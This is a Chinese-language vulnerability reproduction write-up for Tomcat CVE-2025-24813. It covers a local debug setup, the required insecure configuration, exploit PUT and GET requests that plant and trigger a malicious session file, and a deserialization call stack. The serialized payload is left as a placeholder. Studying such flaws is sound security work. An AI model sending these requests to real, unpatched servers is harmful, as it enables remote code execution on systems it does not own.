Tomcat CVE-2025-24813 复现

漏洞简介

最近爆出的 tomcat session 反序列化漏洞,思路比较明确,但是需要开配置,稍微鸡肋。

PS:这个洞刚出的时候,看到许少发pyq于是看了下,但是因为学校论文和找实习的事拖了俩礼拜没写文章,惨惨() btw,来个厂子收了我罢

环境搭建

有两种调试方法,一种是直接搭建源码调试环境,一种是配置 tomcat 后添加 lib 依赖,分别对应下面两个教程:

  1. 郑瀚师傅的源码调试: https://www.cnblogs.com/LittleHann/p/17735106.html
  2. idea 部署 tomcat: https://blog.csdn.net/qq_74312232/article/details/137474027

PS:这里采用法二,第一种方法会有各种问题,包括 build error、缺少 java.lang.xxx 等等,可以解决但是会很麻烦。

法二的大致思路:部署 tomcat-binary ,idea 添加一个 web framework(artifact),然后运行这个 artifact;至于源码调试,直接把 tomcat-binary 的 lib 里的 jar 包全部 add as library 就好,里面还有些小坑,这里详细说一下。

首先下载 tomcat-binary-9.0.98: https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98.zip

然后 idea new 一个 空 maven 项目,然后选中项目根目录,双击shift 输入 add framework

若成功,则会弹出下面的页面,选择 web 框架并添加,这是帮助我们添加一个适配 tomcat 的 web 目录架构。

点击 OK 添加后, 目录下会多出一个web目录,web目录下的index.jsp是我们后续会访问的地方。

注意:还需要将 Web 目录添加到 source root,不然会出现 404 Not Found。

下面配置 tomcat,右上角 add environment,选择添加 tomcat local server,并进行配置,下面的两个路径都是之前下载的 tomcat-binary 的根目录。

注意到右下角有个 Fix,提醒我们添加 artifact,点击 Fix 自动跳转的 Deployment Tab,这里的 Application context 可改可不改,我这里保持原样。

至此 tomcat 就配置完毕了,点击运行应该会去访问创建的index.jsp,出现一个 END 字样。

然后为了能够 debug,需要添加 tomat lib 到 idea 里,把 tomcat-binary 目录下的 lib 复制一份到项目根目录,然后右键 add as library 即可。注意:要利用漏洞的话,还需加一个漏洞依赖,例如 CC3.2.1。

打断点org.apache.catalina.servlets.DefaultServlet#doGet,访问http://localhost:8080/CVE_2025_24813_war_exploded/123,成功断下,可调式环境搭建完成。

接下来是开启漏洞所需的配置项,不开配置无法上传 session,所以有点鸡肋。

web.xml

title:"web.xml"
1
2
3
4
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

context.xml

title:"context.xml"
1
2
3
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>

漏洞分析

漏洞本质:利用 PUT 协议上传恶意 Session 到服务器,由于服务器读取 Session 是反序列化读取,导致反序列化漏洞。

影响范围

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

Exp

step1:上传恶意 session 到服务器

title:"Step1"
1
2
3
4
5
6
PUT /CVE_2025_24813_war_exploded/Jasper_sec/session HTTP/1.1  
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

此处是java序列化payload,


step2:触发 session 反序列化

title:"Step2"
1
2
3
GET /CVE_2025_24813_war_exploded/ HTTP/1.1  
Host: localhost:8080
Cookie: JSESSIONID=.Jasper_sec

漏洞调试

首先是 Session文件的上传,路由处理在 org.apache.catalina.servlets.DefaultServlet#doPut,开头就能看到,如果 readonly=true 的话,会直接 send not allowed,所以需要通过配置文件设置 readonly=false

然后如果请求里有 Content-Range,并且符合一定规则,就可以进到 else 逻辑,触发DefaultServlet#executePartialPut

org.apache.catalina.servlets.DefaultServlet#executePartialPut 会把文件上传的 tomcat 设置的 tmp 目录里,文件名是把路由的 "/" 替换成 ".",所以 /Jasper_sec/session 变成了 .Jasper_sec.session,实现了 Session 文件的上传。

然后是触发 Session 反序列化,这个也很简单,就是读取 Cookie 的 JSESSIONID 然后做拼接,可以看这个 load 函数,逻辑会很清晰:org.apache.catalina.session.FileStore#load,包括拼接文件名,然后执行对文件内容反序列化。

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
transform:120, InvokerTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:338, HashMap (java.util)
readObject:1397, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
doReadObject:1199, StandardSession (org.apache.catalina.session)
readObjectData:846, StandardSession (org.apache.catalina.session)
load:203, FileStore (org.apache.catalina.session)
loadSessionFromStore:723, PersistentManagerBase (org.apache.catalina.session)
swapIn:672, PersistentManagerBase (org.apache.catalina.session)
findSession:467, PersistentManagerBase (org.apache.catalina.session)
doGetSession:2723, Request (org.apache.catalina.connector)
getSessionInternal:2468, Request (org.apache.catalina.connector)
invoke:452, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:396, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:937, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

参考链接